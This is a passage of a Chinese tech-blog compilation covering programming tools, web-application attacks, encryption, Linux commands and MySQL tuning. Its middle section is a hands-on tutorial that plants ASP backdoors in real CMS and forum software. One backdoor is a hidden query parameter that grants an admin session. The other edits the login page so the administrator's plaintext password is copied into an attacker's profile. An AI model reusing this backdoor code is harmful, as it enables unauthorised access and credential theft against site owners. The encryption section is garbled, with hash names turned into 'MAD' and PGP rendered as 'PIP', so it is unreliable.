(4)编译速度非常快。

缺点

由于推出的时间太短,关于它的各种资料还不太多。

综述:我认为C++ Builder 是最好的编程工具。它既保持了C++语言编程的优点,又做到了完全的可视化。

方案五 SQL语言 & Power Builder

对于一些传统的数据开发人员来说,Foxpro系列也许让他们感到更加熟悉。但是对于初学者来说,PowerBuilder也许是最好的数据库开发工具。各种各样的控件,功能强大的PowerBuilder语言都会帮助你开发出自己的数据库应用程序。

补充:关于网页后台语言和其他语言的关系,一般认为:

C语言学的好,那么学习PHP会有事半功倍的效果
VC学的好,那么学习ASP会有事半功倍的效果
JAVA学的好,那么学习JSP、JAVASCRIPT会有事半功倍的效果

关于网页后台语言和数据库,通常来说:
PHP与MYSQL是黄金搭档
ASP小型网站用ACCESS,大型用SQL
JSP我就不知道了

关于电子商务流行的语言,目前
当当、卓越、6688、igo5、雅宝使用的是asp语言
易趣、淘宝使用的是php语言
贝塔斯曼使用的是jsp语言

session欺骗和密码窃探

session欺骗篇 首先简单说一下一般asp系统的身份验证原理。一般来说,后台管理员在登录页面输入账号密码后,程序会拿着他提交的用户名密码去数据库的管理员表里面找,如果有这个人的账号密码就认为你是管理员,然后给你一个表示你身份的session值。或者程序先把你的用户名密码提取出来,然后到数据库的管理员表里面取出管理员的账号密码来和你提交的相比较,如果相等,就跟上面一样给你个表示你身份的sesion值。然后你进入任何一个管理页面它都要首先验证你的session值,如果是管理员就让你通过,不是的话就引导你回到登录页面或者出现一些奇奇怪怪的警告,这些都跟程序员的个人喜好有关。

知道了原理,我们现在的一个思路就是通过我们的asp木马来修改它的程序然后拿到一个管理员session,这样的话尽管我们没有管理员密码,但是我们一样在后台通行无阻了。我把这种方法称为session欺骗。限于篇幅不能每个系统都能详细说明,本文仅以动力文章系统为例来说明。
其实动力文章系统的所有版本全部通杀,包括动易。大家可以自己实践一下。

我们先来看一下它的验证内容。动力文章3.51的验证页面在Admin_ChkLogin.asp

,其验证内容如下:

…………

else

rs(“LastLoginIP”)=Request.ServerVariables(“REMOTE_ADDR”)

rs(“LastLoginTime”)=now()

rs(“LoginTimes”)=rs(“LoginTimes”)+1

rs.update

session.Timeout=SessionTimeout

session(“AdminName”)=rs(“username”)

rs.close

set rs=nothing

call CloseConn()

Response.Redirect “Admin_Index.asp”

前面省略号是用户名密码不正确的验证,直到else,看一下,如果用户名密码正确就给你两个session值:

session.Timeout=SessionTimeout

session(“AdminName”)=rs(“username”)

我们在看一下其他管理页面是怎么验证session的,admin_index.asp一开始就这样:

看起来似乎很严密,但是我们看一下,它这里值验证一个AdminName的session,只要我们的session内容是 AdminName的话不就可以通过了?好,我们开工,先去弄到它的管理员账号再说,这个不要我教你了吧?到他网站逛一下或者直接一点下载它的数据库来看都可以知道。我们找个页面来改一下,我找一个比较没人而内容较多的页面FriendSite.asp(友情链接页面)来改,呵呵,这样管理员也很难查得出来啊。用asp木马的编辑功能来编辑一下它的内容。在他页面下隐蔽处加上下面几句话:

dim id

id=trim(request(“qwe”))

if id=”120″ then

session(“AdminName”)=”admin” ‘这里是假设的,实际操作中可以改成你想要得管理员账号

end if

我简单说一下这句话的意思,就是说从地址栏取得hehe的值,如果hehe=120的话,那么系统就给我们一个值为admin的 session。好了,我们输入看一下,看到有什么异常吗,没有吧?还是正常页面,但是我们接着在地址栏中输入它的后台管理首页看看,是不是进去了?
呵呵,别做坏事哦…………

小结一下:我们先找到弄到管理员账号,然后找到它的验证页面,根据它的验证内容来写入我们要的后门。不同的系统有不同的验证方式,比如青创文章系统它不但要验证你的用户名还要验证等级,但是我们总体思路还是一样,就是他验证什么我们就加入什么。

密码窃探篇

可以说上述方法在动网论坛或者其他论坛面前是苍白无力的,因为一般论坛由于交互性较强,所以在验证上考虑了很多。以动网为例,你要登录后台,他先验证你有没有先登录了前台,没有的话就给你返回一个错误页面。你登录前台后系统会给你一个seession来记录你的CacheName和你的ID,然后在你登录后台的时候拿出来比较你前后台身份是否一致,一直就通过,否则kill,面对这样严格的验证,难道我们就没有办法基后台了吗?对,没有了(谁拿鸡蛋扔我?这么浪费。),但是我们可以想新的办法,既然验证这么严格,那么我如果拿着密码光明正大的进去呢?因此,这里一个新的思路就是拿到它的明文密码。什么时候有明文密码呢?对了,就在管理员登录的时候。好,我们就在那里做手脚,把它登录的密码发给我们,然后我们拿和它的密码去登录。呵呵,是不是很像sniffer啊?在下在前几个月刚和好兄弟潜龙在野利用硬件sniffer配合省网安局的人端掉一个非法电影网站,足足4000G的硬盘,几十台服务器,一个字:爽

好了,我们开始修改它的程序。编辑login.asp,加入以下几句话:

if not isnull(trim(request(“username”))) then

if request(“username”)=”admin” then

sql=”update [Dv_Vser] set UserEmail=(select userpassword from

[Dv_User]

where username=&#39;”& request(“username”)&”&#39;) where

UserName=&#39;aweige&#39;”

conn.execute(sql)

end if

end if

这几句话的意思就是说如果admin(假设的,实际操作中改为你要的管理员名字)登录成功就更新数据库,把他的密码放到我资料的E-mail中。当然,你必须先在论坛里注册一个用户名。
还有,如果是动网7.0以下的默认数据库admin表名和7.0以上有点不一样,所以实际操作中不可生搬硬套。

后记:

对于以上两种方法直到目前为止我还想不出任何比较有效的解决方法,因为你的网站被人家放了马,你根本就没办法去阻止人家去插入,要是谁有好的解决方法记得告诉我。

另外,希望大家不要去搞破坏,那时我真的不愿看到的,也祝所有的网管们好运,希望你们不会碰上craker们。

浅谈加密技术原理与方法

随着网络技术的发展,网络安全也就成为当今网络社会焦点中的焦点,病毒、黑客的猖獗使身处今日网络社会的人们感到谈网色变,无所适从。但我们必须清楚地认识到,安全问题的解决不可能一蹴而就。现代的电脑加密技术就是适应网络安全的需要应运而生的,它为一般的电子商务活动提供了安全保障,如在网络中进行文件传输、电子邮件往来和进行合同文本的签署等。下面就详细介绍一下加密技术的方方面面。

加密的概念

数据加密的基本过程就是对原来为明文的文件或数据按某种算法进行处理,使其成为不可读的一段代码,通常称为“密文”,使其只能在输入相应的密钥之后才能显示出本来内容,通过这样的途径达到保护数据不被人非法窃取、阅读的目的。该过程的逆过程为解密,即将该编码信息转化为其原来数据的过程。

加密的理由

网络安全方面,除了加密外我们别无选择。在互联网上进行文件传输、电子邮件商务往来存在许多不安全因素,尤其是一些大公司和一些机密文件在网络上传输时。而且这种不安全性是互联网存在基础–TCP/IP协议所固有的,包括一些基于TCP/IP的服务。解决上述难题的方案就是加密,加密后的口令即使被黑客获得也是不可读的,加密后的文件没有收件人的私钥无法解开,文件成为一大堆无任何实际意义的乱码。加密在网络上的作用就是防止有用或私有化信息在网络上被拦截和窃取。需要强调一点的就是,文件加密其实不只用于电子邮件或网络上的文件传输,也可应用静态的文件保护,如PIP软件就可以对磁盘、硬盘中的文件或文件夹进行加密,以防他人窃取其中的信息。

两种加密方法

加密技术通常分为两大类:“对称式”和“非对称式”。

对称式加密就是加密和解密使用同一个密钥,通常称之为“Session Key”这种加密技术目前被广泛采用,如美国政府所采用的DES加密标准就是一种典型的“对称式”加密法,它的Session Key长度为56Bits。

非对称式加密就是加密和解密所使用的不是同一个密钥,通常有两个密钥,称为“公钥”和“私钥”,它们两个需要配对使用,否则不能打开加密文件。这里的公钥是指可以对外公布的,私钥则只有持有者自己知道。在网络上,对称式的加密方法很难公开密钥,而非对称式的公钥是可以公开的,不怕别人知道,收件人解密时只要用自己的“私钥”即可以,这样就很好地避免了密钥的传输安全性问题。

加密技术中的摘要函数(MAD、MAD和MAD)摘要是一种防止改动的方法,其中用到的函数叫摘要函数。这些函数的输入可以是任意大小的消息,而输出是一个固定长度的摘要。如果改变了输入消息中的任何信息,输出的摘要将会发生不可预测的改变。也就是说输入消息的每一位对输出摘要都有影响。摘要算法从给定的文本块中产生一个数字签名(fingerprint或mes?鄄sage digest),数字签名可以用于防止有人从一个签名上获取文本信息或改变文本信息内容和进行身份认证。摘要算法的数字签名原理在很多加密算法中都被使用,如SO/KEY和PIP(pretty good privacy)。

现在流行的摘要函数有MAD和MAD,但要记住客户机和服务器必须使用相同的算法,无论是MAD还是MAD,MAD客户机不能和MAD服务器交互。它的设计是出于利用32位RISC结构来实现其最大吞吐量,而不需要大量的替换表(substitution table)。

算法是以消息给予的长度作为输入,产生一个128位的“指纹”或“消息化”。要产生两个具有相同消息化的文字块或者产生任何具有预先给定“指纹”的消息,都被认为在计算上是不可能的。

MAD摘要算法是个数据认证标准。MAD的设计思想是要找出速度更快,比MAD更安全的一种算法,MAD的设计者通过使MAD在计算上慢下来,以及对这些计算做了一些基础性的改动来解决安全性这一问题,是MAD算法的一个扩展。

学linux必须记会的linux命令

Linux 中的所有管理任务都可以在终端中完成。许多情况下,使用终端比使用图形化的程序更快捷,而且还可能实现额外的功能。不仅如此,所有的终端任务都可以写到脚本中,这样就可以自动执行。为了真正地驾驭您的 Linux 环境,您将希望掌握如何在终端中工作。如果您曾经使用过 DOS/Windows,本文将引导您开始使用 Linux 终端。

进入终端

如果您的系统引导进入文本模式(为了降低服务开销,服务器通常是这样配置的),那么您在以文本形式登录后就已经在终端中了。在典型的 Linux 系统中,通过组合键 Ctrl + Alt + (F1 – F6) 您可以切换到另外的终端。每一个终端是系统中一个完全独立的会话,不同的用户可以同时使用。

这一多终端的特点与 Windows 中的多桌面不同。在 Linux 中,每一个终端可以分别由完全不同的用户来控制。例如,您可能在终端 1 中以 root身份登录,而在终端 2 中以 joeuser 身份登录。两个终端在各自的用户空间中运行不同的程序。与此类似,不同的用户可以远程登录到同一个 Windows 系统中。就这一点来说,Linux 更像是主机而不是简单的服务器或工作站。

如果您是在图形模式下,那么您可以打开一个 虚拟终端 (terminal)以进入终端窗口。通常在桌面的任务条上会有终端的按钮。您也可以从上下文菜单(在桌面上单击右键)打开终端 。

命令

在终端中可以使用的命令很多。其中有一些实际上只在编写脚本时才会用到。这里介绍一些您最可能用到的命令。不要忘记,所有的命令和选项都区分大小写。 -R 与 -r不同,会去执行不同的操作。终端命令几乎全都是小写的。

◆cd

使用我们所熟悉的 cd 命令可以在目录间切换。一定注意的是在 Linux 中用的是正斜杠 (/),而不是您所熟悉的反斜杠 (\)。反斜杠也用到了,但只是用来说明命令需要换行继续,这样可以提高比较长的命令的可读性。

◆ls

ls 命令用于列出一个目录下的所有文件。可以使用许多不同的开关更改列表的表示形式:

ls -l 以长格式列出文件,包括文件大小、日期和时间、属性

ls -t 对文件以时间排序

ls -S 对文件以大小排序

ls -r 与一个排序开关组合起来使用,逆序排列。

ls -t 将最新的文件显示在列表的顶部。

ls -t 将最新的文件显示在底部。

ls -h 易读格式。使用 k、M、G 等来标识文件的大小,而不是以字节为单位。

ls -a 显示目录中所有的文件,包括隐藏文件

◆cp

使用 cp 命令来复制文件。这个命令与 DOS 下的 copy 命令基本一样。基本的开关如下:

cp -R 递归地复制文件;当需要复制整个目录时会用到

cp -f 强制复制并覆盖已有的文件,不询问用户

cp -l 链接文件,而不是复制;见下面的说明

◆mv

使用 mv 命令来移动和重命名文件。这个命令的工作方式基本上与 DOS 中的 move 命令一样,不过它可以移动整个目录结构及所有文件。

◆cat

使用 cat 命令来查看文件的内容。它相当于 DOS 中的 type 命令。它将把文件的内容转储到另一个文件、屏幕或者其他命令。 cat 是concatenate 的简写,还可以将一系列的文件合并为一个大文件。

◆more

使用命令 more 可以以分页的方式查看文件。它基本上与 DOS 中的 more 命令相同。

◆less

less 命令也是用来查看文件,但是它支持上下滚屏以及在文档中进行文本搜索。

◆vi

有一些人可能会说 vi 表示“virtually impossible”。它是 Unix 中的一个历史悠久的文本编辑器。 vi 并不真正直观,但是现在几乎所有的类 Unix 环境中都有 vi 。对于 Linux 中安装的版本有一个内置的教程,一旦您熟悉了 vi ,只需几次击键就可以完成不可思议的任务。说实话,没有任何编辑器能够取代 vi 来编辑密码和配置文件。

◆man

使用 man 命令来查看命令的文档。man 是 manual 的缩写。几乎每一个命令都有相应的文档。要深入了解 man ,请输入以下命令:

man man

◆info

info 命令与 man 命令类似,不过它提供了超链接文本,可以更方便地浏览文档。

链接

Linux 文件系统最重要的特点之一是它的文件链接。链接是对文件的引用,这样您可以让文件在文件系统中多处被看到。不过,在 Linux 中,链接可以如同原始文件一样来对待。链接可以与普通的文件一样被执行、编辑和访问。对系统中的其他应用程序而言,链接就是它所对应的原始文件。当您通过链接对文件进行编辑时,您编辑的实际上是原始文件。链接不是副本。有两种类型的链接:硬链接和符号链接(软链接)。

硬链接只能引用同一文件系统中的文件。它引用的是文件在文件系统中的物理索引(也称为 inode)。当您移动或删除原始文件时,硬链接不会被破坏,因为它所引用的是文件的物理数据而不是文件在文件结构中的位置。硬链接的文件不需要用户有访问原始文件的权限,也不会显示原始文件的位置,这样有助于文件的安全。如果您删除的文件有相应的硬链接,那么这个文件依然会保留,直到所有对它的引用都被删除。

符号链接(软链接)是一个指针,指向文件在文件系统中的位置。符号链接可以跨文件系统,甚至可以指向远程文件系统中的文件。符号链接只是指明了原始文件的位置,用户需要对原始文件的位置有访问权限才可以使用链接。如果原始文件被删除,所有指向它的符号链接也就都被破坏了。它们会指向文件系统中并不存在的一个位置。

两种链接都可以通过命令 ln 来创建。ln 默认创建的是硬链接。使用 -s 开关可以创建符号链接。

详解MySQL数据类型之数字类型正确使用

无论是在小得可怜的免费数据库空间或是大型电子商务网站,合理的设计表结构、充分利用空间是十分必要的。这就要求我们对数据库系统的常用MySQL数据类型有充分的认识。下面我就将我的一点心得写出来跟大家分享。

MySQL数据类型之数字类型

数字类型按照我的分类方法分为三类:整数类、小数类和数字类。

我所谓的“数字类”,就是指DECIMAL和NUMERIC,它们是同一种类型。它严格的说不是一种数字类型,因为他们实际上是将数字以字符串形式保存的;他的值的每一位(包括小数点)占一个字节的存储空间,因此这种类型耗费空间比较大。但是它的一个突出的优点是小数的位数固定,在运算中不会“失真”,所以比较适合用于“价格”、“金额”这样对精度要求不高但准确度要求非常高的字段。

小数类,即浮点数类型,根据精度的不同,有FLOAT和DOUBLE两种。它们的优势是精确度,FLOAT可以表示绝对值非常小、小到约1.17E-38(0.000…0117,小数点后面有37个零)的小数,而DOUBLE更是可以表示绝对值小到约2.22E-308(0.000…0222,小数点后面有307个零)的小数。

FLOAT类型和DOUBLE类型占用存储空间分别是4字节和8字节。如果需要用到小数的字段,精度要求不高的,当然用FLOAT了。可是说句实在话,我们“民用”的数据,哪有要求精度那么高的呢?这两种类型至今我没有用过――我还没有遇到适合于使用它们的事例。

用的最多的,最值得精打细算的,是整数类型。从只占一个字节存储空间的TINYINT到占8个字节的BIGINT,挑选一个“够用”并且占用存储空间最小的类型是设计数据库时应该考虑的。TINYINT、SMALLINT、MEDIUMINT、INT和BIGINT占用存储空间分别为1字节、2字节、3字节、4字节和8字节,就无符号的整数而言,这些类型能表示的最大整数分别为255、65535、16777215、4294967295和18446744073709551615。

如果用来保存用户的年龄(举例来说,数据库中保存年龄是不可取的),用TINYINT就够了;九城的《纵横》里,各项技能值,用SMALLINT也够了;如果要用作一个肯定不会超过16000000行的表的AUTO_INCREMENT的IDENTIFY字段,当然用MEDIUMINT不用INT,试想,每行节约一个字节,16000000行可以节约10兆多呢!

学会设置五大类MySQL参数

一)连接
连接通常来自Web服务器,下面列出了一些与连接有关的参数,以及该如何设置它们。

1、max_connections

这是Web服务器允许的最大连接数,记住每个连接都要使用会话内存(关于会话内存,文章后面有涉及)。

2、max_packet_allowed

最大数据包大小,通常等于你需要在一个大块中返回的最大数据集的大小,如果你在使用远程mysqldump,那它的值需要更大。

3、aborted_connects

检查系统状态的计数器,确定其没有增长,如果数量增长说明客户端连接时遇到了错误。

4、thread_cache_size

入站连接会在MySQL中创建一个新的线程,因为MySQL中打开和关闭连接都很廉价,速度也快,它就没有象其它数据库,如Oracle那么多持续连接了,但线程预先创建并不会节约时间,这就是为什么要MySQL线程缓存的原因了。

如果在增长请密切注意创建的线程,让你的线程缓存更大,对于2550或100的thread_cache_size,内存占用也不多。

(二)查询缓存

MySQL中的缓存查询包括两个解析查询计划,以及返回的数据集,如果基础表数据或结构有变化,将会使查询缓存中的项目无效。

1、query_cache_min_res_unit

MySQL参数中query_cache_min_res_unit查询缓存中的块是以这个大小进行分配的,使用下面的公式计算查询缓存的平均大小,根据计算结果设置这个变量,MySQL就会更有效地使用查询缓存,缓存更多的查询,减少内存的浪费。

2、query_cache_size

这个参数设置查询缓存的总大小。

3、query_cache_limit

这个参数告诉MySQL丢掉大于这个大小的查询,一般大型查询还是比较少见的,如运行一个批处理执行一个大型报表的统计,因此那些大型结果集不应该填满查询缓存。

qcache hit ratio = qcache_hits / (qcache_hits + com_select)

使用

SQL> show status like ‘qcache%’;

SQL> show status like ‘com_%’;

找到这些变量。

average query size = (query_cache_size – qcache_free_memory)/qcache_queries_in_cache

使用

SQL> show variables like ‘query%’;

qcache_* status variables you can get with:

SQL> show status like ‘qcache%’;

获取query_cache_size的值。(三)临时表

内存速度是相当快的,因此我们希望所有的排序操作都在内存中进行,我们可以通过调整查询让结果集更小以实现内存排序,或将变量设置得更大。

tmp_table_size

max_heap_table_size

无论何时在MySQL中创建临时表,它都会使用这两个变量的最小值作为临界值,除了在磁盘上构建临时表外,还会创建许多会话,这些会话会抢占有限制的资源,因此最好是调整查询而不是将这些参数设置得更高,同时,需要注意的是有BLOB或TEXT字段类型的表将直接写入磁盘。 深入浅出MySQL双向复制技术

(四)会话内存

MySQL中每个会话都有其自己的内存,这个内存就是分配给SQL查询的内存,因此你想让它变得尽可能大以满足需要。但你不得不平衡同一时间数据库内一致性会话的数量。这里显得有点黑色艺术的是MySQL是按需分配缓存的,因此,你不能只添加它们并乘以会话的数量,这样估算下来比MySQL典型的使用要大得多。最佳做法是启动MySQL,连接所有会话,然后继续关注顶级会话的VIRT列,mysqld行的数目通常保持相对稳定,这就是实际的内存总用量,减去所有的静态MySQL内存区域,就得到了实际的所有会话内存,然后除以会话的数量就得到平均值。

1、read_buffer_size

缓存连续扫描的块,这个缓存是跨存储引擎的,不只是MyISAM表。

2、sort_buffer_size

执行排序缓存区的大小,最好将其设置为1M-2M,然后在会话中设置,为一个特定的查询设置更高的值。

3、join_buffer_size

执行联合查询分配的缓存区大小,将其设置为1M-2M大小,然后在每个会话中再单独按需设置。

4、read_rnd_buffer_size

用于排序和order by操作,最好将其设置为1M,然后在会话中可以将其作为一个会话变量设置为更大的值。

(五)慢速查询日志

慢速查询日志是MySQL很有用的一个特性。

1、log_slow_queries

MySQL参数中log_slow_queries参数在my.cnf文件中设置它,将其设置为on,默认情况下,MySQL会将文件放到数据目录,文件以“主机名-slow.log”的形式命名,但你在设置这个选项的时候也可以为其指定一个名字。

2、long_query_time

默认值是10秒,你可以动态设置它,值从1到将其设置为on,如果数据库启动了,默认情况下,日志将关闭。截至5.1.21和安装了Google补丁的版本,这个选项可以以微秒设置,这是一个了不起的功能,因为一旦你消除了所有查询时间超过1秒的查询,说明调整非常成功,这样可以帮助你在问题变大之前消除问题SQL。

3、log_queries_not_using_indexes

开启这个选项是个不错的主意,它真实地记录了返回所有行的查询。

小结

我们介绍了MySQL参数的五大类设置,平时我们一般都很少碰它们,在进行数据库性能调优和故障诊断时这些参数还是非常有用的。

回到顶部

信息

请到主题管理页面进行更改